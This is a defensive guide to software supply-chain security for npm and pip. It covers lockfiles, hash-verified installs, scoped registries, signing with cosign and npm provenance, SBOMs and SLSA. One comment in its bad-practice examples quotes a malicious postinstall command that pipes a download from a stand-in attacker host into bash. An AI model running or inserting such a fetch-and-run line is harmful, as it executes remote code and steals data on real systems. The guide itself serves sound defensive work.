npm ci --ignore-scripts for deterministic, script-safe installs; pip install --require-hashes -r requirements.txt for hash-verified Python installs.npm install in CI -- use npm ci which enforces lockfile integrity--ignore-scripts and allowlist explicitly| # | Threat | Risk Level | Attack Vector | Mitigation |
|---|---|---|---|---|
| 1 | Typosquatting | High | Attacker publishes lod-ash mimicking lodash | Verify exact package name; use npm audit signatures; check OpenSSF Scorecard |
| 2 | Dependency confusion | Critical | Public package with same name as internal pkg, higher version | Scope private packages (@org/pkg); configure registry per-scope in .npmrc |
| 3 | Compromised maintainer | Critical | Attacker gains access to maintainer npm/PyPI account | Enable 2FA on registry accounts; use Trusted Publishers (PyPI); review provenance |
| 4 | Malicious lifecycle scripts | High | postinstall script exfiltrates env vars or installs backdoor | --ignore-scripts globally; allowlist in .npmrc |
| 5 | Lockfile manipulation | High | PR changes lockfile to point to malicious registry/tarball | Use lockfile-lint; review lockfile diffs; npm ci validates integrity |
| 6 | Compromised build pipeline | Critical | CI/CD credentials stolen, build artifacts replaced | SLSA L3 provenance; isolated build environments; signed artifacts |
| 7 | Abandoned packages | Medium | Known CVEs never patched in transitive dependency | OpenSSF Scorecard checks; npm audit; Dependabot/Renovate alerts |
| 8 | SBOM gaps | Medium | Unable to respond to new CVE across your dependency tree | Generate CycloneDX/SPDX SBOM in CI; store and update with each release |
| 9 | Protestware/self-sabotage | Medium | Maintainer intentionally breaks own package (colors.js, node-ipc) | Pin exact versions; review changelogs; use cooldown windows |
| 10 | Registry/CDN compromise | Low | npm registry or CDN serves tampered packages | Verify package signatures; npm audit signatures; compare hashes |
START: What is your primary supply chain concern?
├── Preventing malicious package installs?
│ ├── Using npm?
│ │ ├── YES → Pin versions + npm ci + --ignore-scripts + lockfile-lint
│ │ └── NO ↓
│ ├── Using pip/poetry?
│ │ ├── YES → pip-compile --generate-hashes + --require-hashes
│ │ └── NO ↓
│ └── Go/Cargo/other → Use native lockfile + checksum verification
│
├── Need artifact signing and verification?
│ ├── Container images?
│ │ ├── YES → Sigstore cosign sign + verify
│ │ └── NO ↓
│ └── npm packages → npm provenance (SLSA + Sigstore)
│
├── Need compliance (SLSA/NIST)?
│ ├── SLSA Level 1 → Generate provenance metadata
│ ├── SLSA Level 2 → Signed provenance from hosted CI
│ └── SLSA Level 3 → Isolated build + non-forgeable provenance
│
├── Need dependency inventory?
│ └── YES → Generate CycloneDX or SPDX SBOM in CI
│
└── DEFAULT → Start with lockfile pinning + npm audit + OpenSSF Scorecard
Use npm ci in CI/CD instead of npm install. It deletes node_modules/ and installs exactly what the lockfile specifies, failing on mismatch. [src4]
# .npmrc -- project-level configuration
ignore-scripts=true
engine-strict=true
package-lock=true
audit-level=moderate
# CI install command (never npm install)
npm ci --ignore-scripts
Verify: npm ci should exit 0 with no lockfile mismatch warnings. Run npm ls --all to confirm dependency tree matches lockfile.
Configure npm to resolve private scopes from your internal registry, preventing public registry substitution. [src4]
# .npmrc -- scope-to-registry mapping
@mycompany:registry=https://npm.mycompany.com/
//npm.mycompany.com/:_authToken=${NPM_PRIVATE_TOKEN}
package-lock=true
Verify: npm config get @mycompany:registry should return your private registry URL.
Use pip-compile (from pip-tools) to generate a requirements file with SHA256 hashes. [src5]
# Generate requirements.txt with hashes
pip-compile --generate-hashes --output-file=requirements.txt requirements.in
# Install with hash verification
pip install --require-hashes --no-deps -r requirements.txt
Verify: Modify any hash in requirements.txt -- pip install --require-hashes should fail with hash mismatch error.
npm provenance uses Sigstore to cryptographically link published packages to their source repo and build. [src1]
# .github/workflows/publish.yml
name: Publish
on:
release:
types: [published]
permissions:
contents: read
id-token: write
jobs:
publish:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
registry-url: https://registry.npmjs.org
- run: npm ci
- run: npm publish --provenance --access public
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
Verify: npm audit signatures on the published package should show "verified registry signatures".
Cosign provides keyless signing using OIDC identity from CI providers. No key management required. [src2]
# Sign a container image (keyless)
cosign sign ghcr.io/myorg/myapp:v1.2.3
# Verify a signed image
cosign verify \
--certificate-identity=https://github.com/myorg/myapp/.github/workflows/build.yml@refs/tags/v1.2.3 \
--certificate-oidc-issuer=https://token.actions.githubusercontent.com \
ghcr.io/myorg/myapp:v1.2.3
Verify: cosign verify should print verification confirmation with no errors.
Generate a Software Bill of Materials in CycloneDX format as part of your CI pipeline. [src8]
# npm: generate CycloneDX SBOM
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
# Python: generate CycloneDX SBOM
pip install cyclonedx-bom
cyclonedx-py environment --output sbom.json
Verify: sbom.json should contain a components array listing all dependencies with version, purl, and hash information.
Run Scorecard against dependencies to assess their security posture before adoption. [src6]
# Score a specific repository
scorecard --repo=github.com/expressjs/express
Verify: Output should show scores (0-10) for checks like Branch-Protection, Signed-Releases, Token-Permissions, and Vulnerabilities.
# .npmrc -- project root (commit to repo)
package-lock=true
ignore-scripts=true
save-exact=true
audit-level=moderate
@mycompany:registry=https://npm.mycompany.com/
engine-strict=true
# pip.conf
[global]
require-hashes = true
no-deps = true
[install]
index-url = https://pypi.org/simple/
extra-index-url =
trusted-host =
# .github/workflows/slsa-provenance.yml
name: SLSA Go Releaser
on:
release:
types: [published]
permissions: read-all
jobs:
build:
permissions:
id-token: write
contents: write
actions: read
uses: slsa-framework/slsa-github-generator/.github/workflows/[email protected]
with:
go-version: "1.22"
# Kyverno policy to enforce signed images
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signatures
spec:
validationFailureAction: Enforce
rules:
- name: verify-cosign-signature
match:
any:
- resources:
kinds: ["Pod"]
verifyImages:
- imageReferences: ["ghcr.io/myorg/*"]
attestors:
- entries:
- keyless:
subject: "https://github.com/myorg/*"
issuer: "https://token.actions.githubusercontent.com"
// BAD -- ^ and ~ allow automatic minor/patch upgrades
// A compromised patch release gets installed automatically
{
"dependencies": {
"express": "^4.18.0",
"lodash": "~4.17.0",
"axios": "*"
}
}
// GOOD -- exact versions + npm ci enforces lockfile
{
"dependencies": {
"express": "4.18.2",
"lodash": "4.17.21",
"axios": "1.6.7"
}
}
// BAD -- unscoped private package name can be hijacked
// Attacker publishes "[email protected]" to public npm
{
"name": "my-internal-utils",
"version": "1.0.0"
}
// GOOD -- scoped package with .npmrc registry mapping
{
"name": "@mycompany/internal-utils",
"version": "1.0.0",
"private": true
}
# BAD -- no integrity verification
pip install requests flask sqlalchemy
# GOOD -- every package verified against pre-computed hash
pip install --require-hashes --no-deps -r requirements.txt
# BAD -- postinstall scripts can execute arbitrary code
npm install some-package
# The package's postinstall script runs: curl attacker.com/steal | bash
# .npmrc -- disable scripts by default
ignore-scripts=true
npm install can resolve different versions. Fix: Always commit package-lock.json or poetry.lock. [src4]npm install can silently update the lockfile. Fix: Use npm ci in all CI/CD pipelines. [src4]npm audit signatures after install. [src1]npm ls --all or SBOM tools to audit the full tree. [src3]scorecard --repo=<dep-repo> before adding. [src6]# Audit npm packages for known vulnerabilities
npm audit
# Verify npm registry signatures (provenance)
npm audit signatures
# List full dependency tree
npm ls --all
# Validate lockfile integrity and registry sources
npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm --validate-https
# Check OpenSSF Scorecard for a dependency
scorecard --repo=github.com/expressjs/express --format=json
# Generate CycloneDX SBOM
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
# Python: audit packages for vulnerabilities
pip-audit
# Verify container image signature with cosign
cosign verify --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
ghcr.io/myorg/myapp:latest
# Scan SBOM for vulnerabilities with grype
grype sbom:./sbom.json
| Standard/Tool | Version | Status | Key Feature |
|---|---|---|---|
| SLSA | v1.0 | Current (2023) | Build Track L0-L3, provenance specification |
| SLSA | v1.1 | Draft (2024) | Source Track (under development) |
| npm provenance | GA | Current (npm 9.5+) | Sigstore-based package provenance on publish |
| Sigstore/cosign | 2.x | Current | Keyless signing, Rekor transparency log |
| CycloneDX | 1.6 | Current (2024) | CBOM, MBOM, attestation support |
| SPDX | 2.3 / 3.0 | 2.3 stable, 3.0 draft | License compliance + security use cases |
| OpenSSF Scorecard | 5.x | Current | 18 automated security checks |
| PyPI Trusted Publishers | GA | Current (2023) | OIDC keyless publishing from CI |
| pip --require-hashes | GA | Current (pip 8+) | SHA256 hash verification on install |
| npm audit signatures | GA | Current (npm 9.5+) | Registry signature verification |
| Use When | Don't Use When | Use Instead |
|---|---|---|
| Building any production application with external dependencies | Internal-only code with zero third-party dependencies | Basic code review suffices |
| Publishing packages to npm, PyPI, or container registries | Prototyping with no deployment pipeline | Minimal lockfile pinning may suffice |
| Required by compliance (NIST, EO 14028, SOC 2) | Personal learning projects with no sensitive data | Focus on learning the tools first |
| Operating CI/CD pipelines that produce deployable artifacts | Manual builds on a single trusted developer machine | Manual verification may be acceptable |
| Maintaining open source projects consumed by others | Private fork with no downstream consumers | Internal-only security measures |
--ignore-scripts breaks packages that require native compilation (node-gyp, sharp, bcrypt); maintain an explicit allowlist for these packagessetup.py; use --no-build-isolation cautiously